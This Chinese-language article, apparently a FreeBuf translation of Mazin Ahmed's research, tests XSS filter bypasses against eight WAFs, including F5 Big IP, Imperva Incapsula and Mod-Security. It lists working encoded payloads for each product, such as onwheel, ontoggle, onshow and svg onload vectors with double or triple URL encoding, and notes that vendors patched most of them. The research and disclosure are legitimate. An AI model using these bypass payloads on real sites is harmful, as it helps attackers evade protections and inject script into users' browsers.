0×00 概要
由于应用防火墙的广泛使用,实验测试WAF抵御xss攻击的能力变的很有必要。当然所有的实验就是为了证明厂商要从根源上杜绝漏洞,不能躺在WAF上高枕无忧。
实验测试的对象是一些流行的WAF 例如F5 Big IP、Imperva Incapsula、AQTRONIX WebKnight、PHP-IDS、Mod-Security、Sucuri、QuickDefense、Barracuda WAF 他们都在测试中被绕过。
0×01 介绍
Web应用防火墙(WAF)是一个应用,服务器插件,或者过滤器,利用一系列规则过滤http会话。通常这些规则用来防御常规威胁,XSS,SQL注入和一些web相关的漏洞。本次测试只关注WAF保护的绕过方法。
0×02 测试环境
Google Chrome
Opera Browser
Mozilla Firefox
Internet Explorer
0×03 测试结果
1. Imperva Incapsula
测试中发现,Imperva Incapsula过滤了很多常见的xss载荷,例如 <img/src=”x”/onerror=”alert(1)”>就被过滤了。同时发现<img src=x onerror=”input”>没有检测出来,绕过过滤的唯一的障碍就是寻找在error上的行为。alert(), prompt(), confirm(), eval() 全被禁止,只能找其他替代的方法证明xss漏洞的存在。
1.1 第一次绕过
Double URL 编码 + html编码 + Unicode 编码 (全浏览器通过)
double-url 编码存在于多次URL解码客户端输入的特定服务器。
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E
1.2 第二次绕过 :JS-F**K 载荷(全浏览器)
第二个绕过基于JS-F**K——一种七个字符创建JS的技术,载荷结构跟上面大体相同,
<img/src="x"/onerror="[JS-F**K Payload]">
动作没问题,唯一的缺点是长度。大多数服务器都对GET请求URL有严格要求,因此用于POST请求更好一点。除了这些,这个载荷看起来很完美。
2. WebKnight
WebKnight测试很不一样,它的一系列过滤规则有安全社区频繁的更新,实验确定了两种绕过方法只影响WebKnight v4.1 ,v4.2版本就修复了。
2.1 第一次绕过 ontoggle JS Event (Google Chrome)
这次只在Chrome中有效。
toggle() 方法切换元素的可见状态。
如果被选元素可见,则隐藏这些元素,如果被选元素隐藏,则显示这些元素。只在chrome中支持。
<details ontoggle=alert(1)>
2.2 第二次绕过 Onshow JS event (Mozilla Firefox)
应用了onshow的JS事件 ,用户单击触发脚本,绕过WebKnight 的xss过滤。
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
3. F5 Big IP
F5 Big IP 是公认的企业级应用防火墙,要发现xss绕过思路不仅限于action。
3.1 第一次绕过 : Onwheel JS 事件 + 在样式属性上指定高度调整页面大小 (Google Chrome &Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="[DATA]">
3.2 第二次绕过 :Onshow JS event (Mozilla Firefox)
用户单击,脚本触发。
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
3.3 第三次绕过:JS-F**K 载荷(Google Chrome & Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k
Payload]">
3.4 第四次绕过 :HTML编码 + Double URL 编码(Google Chrome & Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"
onshow="prom%25%32%33%25%32%36x70;t(1)">
4. Barracuda WAF
结果和 F5 Big IP一样。
4.1
<body style="height:1000px" onwheel="alert(1)">
4.2
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
5. PHP-IDS
通过审查过滤规则发现JS 事件并不在黑名单中。除此之外,PHP-IDS 的主要保护措施就是基于JS 事件的action。例如,alert()立刻就会被PHP-IDS发现,同时,所有目前已知的编码技术都被过滤了,还有特定的保护措施防御载荷结构。所以不得不另辟奚径利用一些浏览器行为绕过保护机制。
5.1 第一次绕过:应用浏览器响应用户输入的行为
<svg+onload=+"[DATA]"
可以绕过 PHP-IDS v0.7
5.2 第二次绕过:double URL 编码
<svg+onload=+"aler%25%37%34(1)"
6. Mod-Security
实验表明Mod-Security 对恶意的请求特别敏感,例如,hello%20onsomething=dosomething 就因为onsomething 看起来像JS事件 被标记为潜在的xss脚本攻击。因此要关注内部可用来绕过过滤的漏洞。
6.1 第一次绕过 使用(
)和(	) (Google Chrome & Opera Browser & Internet Explorer)
这个载荷包含了一个指向javascript载荷的链接,通常这种方法一定会被检测出来,但是我们用了大量的new lines 和 tab 成功绕过。
<a href="j[785 bytes of (
	)]avascript:alert(1);">XSS</a>
6.2 第二次绕过 US编码绕过 (只有IE6和IE7)
6.3 第三次绕过 Triple URL 编码
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
7. Quick Defense
当前Quick Defense 的过滤规则还不足以支持产品级的web应用,尽管黑名单中有很多JS事件,用一些编码技术就能绕过。
7.1 第一次绕过:OnSearch JS 事件 + Unicode 编码 (Google Chrome)
<input type="search" onsearch="aler\u0074(1)">
7.2 第二次绕过 :OnToggle JS 事件 + Unicode 编码(Google Chrome)
<details ontoggle="aler\u0074(1)">
8. Sucuri WAF
Sucuri WAF 对恶意请求同样相当敏感。在今年四月,许多研究者完全绕过了Sucuri WAF 因而所有的发现都被修补好了,只能依靠旧版的浏览器才能实现xss。
绕过方法 :US编码 (IE6和IE7)
0×04 厂商回复
除PHP-IDS没有回复以外其他厂商都修补了漏洞。
0×05 小结
结合各自WAF的弱点构造攻击向量绕过过滤器是完全可能的事情,对厂商来说,WAF可以让攻击者花费更多的时间,但是从根本上调查修补漏洞依然必不可少。
*参考来源:packetstormsecurity(PDF),原作者/Mazin Ahmed,编译/月尽西楼,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)